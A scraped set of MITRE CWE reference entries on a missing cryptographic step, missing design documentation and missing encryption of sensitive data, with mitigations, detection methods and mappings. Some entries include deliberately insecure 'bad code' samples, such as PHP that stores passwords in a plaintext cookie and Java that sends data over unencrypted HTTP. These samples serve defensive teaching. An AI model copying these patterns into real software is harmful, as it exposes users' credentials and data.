2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.15, 2024-07-16) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Observed_Examples
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Observed_Examples
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Observed_Examples, Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Type
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2010-02-16 No Authentication for Critical Function
Back to top

CWE-325: Missing Cryptographic Step

Weakness ID: 325
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

Read Application Data; Modify Application Data

Scope: Confidentiality, Integrity

Hide Activities

Scope: Accountability, Non-Repudiation

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 573 Improper Following of Specification by Caller
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 358 Improperly Implemented Security Check for Standard
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 310 Cryptographic Issues
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1205 Security Primitives and Cryptography Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation Developers sometimes omit "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or slower CPUs. This step may be taken under a mistaken impression that the step is unnecessary for the cryptographic algorithm.
Requirements This issue may happen when the requirements for the cryptographic algorithm are not clearly stated.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The example code is taken from the HMAC engine inside the buggy OpenPiton SoC of HACK@DAC'21 [REF-1358]. HAMC is a message authentication code (MAC) that uses both a hash and a secret crypto key. The HMAC engine in HACK@DAC SoC uses the SHA-256 module for the calculation of the HMAC for 512 bits messages.

(bad code)
Example Language: Verilog 
logic [511:0] bigData;
...

hmac hmac(
.clk_i(clk_i),
.rst_ni(rst_ni && ~rst_4),
.init_i(startHash && ~startHash_r),
.key_i(key),
.ikey_hash_i(ikey_hash),
.okey_hash_i(okey_hash),
.key_hash_bypass_i(key_hash_bypass),
.message_i(bigData),
.hash_o(hash),
.ready_o(ready),
.hash_valid_o(hashValid)

However, this HMAC engine cannot handle messages that are longer than 512 bits. Moreover, a complete HMAC will contain an iterate hash function that breaks up a message into blocks of a fixed size and iterates over them with a compression function (e.g., SHA-256). Therefore, the implementation of the HMAC in OpenPiton SoC is incomplete. Such HMAC engines will not be used in real-world applications as the messages will usually be longer than 512 bits. For instance, OpenTitan offers a comprehensive HMAC implementation that utilizes a FIFO for temporarily storing the truncated message, as detailed in [REF-1359].

To mitigate this, implement the iterative function to break up a message into blocks of a fixed size.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Missing challenge-response step allows authentication bypass using public key.
+ Functional Areas
  • Cryptography
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 719 OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 720 OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 958 SFP Secondary Cluster: Broken Cryptography
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps incomplete/missing security check.

Relationship

Can be resultant.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Missing Required Cryptographic Step
OWASP Top Ten 2007 A8 CWE More Specific Insecure Cryptographic Storage
OWASP Top Ten 2007 A9 CWE More Specific Insecure Communications
+ References
[REF-1358] "hmac_wrapper.sv". 2021.
<https://github.com/HACK-EVENT/hackatdac21/blob/main/piton/design/chip/tile/ariane/src/hmac/hmac_wrapper.sv#L41>. (URL validated: 2023-07-15)
[REF-1359] "HMAC HWIP Technical Specification". 2023.
<https://opentitan.org/book/hw/ip/hmac/>. (URL validated: 2023-10-05)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-06-21 Chen Chen, Rahul Kande, Jeyavijayan Rajendran Texas A&M University
suggested demonstrative example
2023-06-21 Shaza Zeitouni, Mohamadreza Rostami, Ahmad-Reza Sadeghi Technical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples, References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships, Time_of_Introduction
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Common_Consequences, Description, Modes_of_Introduction, Name
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-09-08 CWE Content Team MITRE
updated Description, Functional_Areas, Modes_of_Introduction, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2020-08-20 Missing Required Cryptographic Step
Back to top

CWE-1053: Missing Documentation for Design

Weakness ID: 1053
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product does not have documentation that represents how it is designed.
+ Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1225 Documentation Issues
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1208 Cross-Cutting Problems
+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1375 ICS Engineering (Construction/Deployment): Gaps in Details/Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage PROHIBITED
(this CWE ID must not be used to map to real-world vulnerabilities)
Reason Other

Rationale

This entry is primarily a quality issue with no direct security implications.

Comments

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.
+ References
[REF-963] Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996-07.
<https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_MAKING_A_SCIENCE_OF_RISK_ASSESSMENT>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Description, Relationships
Back to top

CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not encrypt sensitive or critical information before storage or transmission. Diagram for CWE-311
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.

Modify Application Data

Scope: Confidentiality, Integrity

Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.
+ Potential Mitigations
Phase(s) Mitigation

Requirements
Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

  • Encryption that is needed to store or transmit private data of the users of the system
  • Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

  • One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.
  • Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Implementation; Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 319 Cleartext Transmission of Sensitive Information
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 327 Use of a Broken or Risky Cryptographic Algorithm
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 319 Cleartext Transmission of Sensitive Information
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).



Example 2


The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language: C 
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.



Example 3


The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {

//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Detection Methods
Method Details

Manual Analysis
The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Effectiveness: High

Automated Analysis
Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Network Sniffer
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 719 OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 720 OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 729 OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 818 OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 861 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 930 OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

CWE-311 is high-level with more precise children available. It is a level-1 Class (i.e., a child of a Pillar).

Comments

Consider children CWE-312: Cleartext Storage of Sensitive Information or CWE-319: Cleartext Transmission of Sensitive Information.
+ Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Failure to encrypt data
OWASP Top Ten 2007 A8 CWE More Specific Insecure Cryptographic Storage
OWASP Top Ten 2007 A9 CWE More Specific Insecure Communications
OWASP Top Ten 2004 A8 CWE More Specific Insecure Storage
WASC 4 Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011) MSC00-J Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 3-3 Req SR 4.1
ISA/IEC 62443 Part 3-3 Req SR 4.3
